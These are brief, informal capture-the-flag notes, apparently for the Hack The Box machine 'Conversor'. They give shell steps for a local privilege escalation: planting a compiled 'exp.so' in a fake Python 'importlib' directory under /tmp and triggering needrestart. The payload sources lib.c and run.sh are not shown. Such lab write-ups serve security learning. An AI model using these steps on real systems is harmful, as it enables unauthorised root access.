
i tried this in Conversor HTB machine
hello this is 0x3bs
In victim machine:
set -e
cd /tmp
# 1. Create the malicious module directory structure
mkdir -p malicious/importlib
in attacker machine
to compile lib.c in attacker machine :
gcc -shared -fPIC -o exp.so lib.c
and in vivtim machine :
in /tmp
chmod +x run.sh
in /tmp/malicious/importlib :
chmod +x exp.so
./exp.so
# try to run it after run 'run.sh' if it didn't work
and in /tmp
./run.sh
and in another sesion run the needrestart
remember >> the exp.so must be in /tmp/malicious/importlib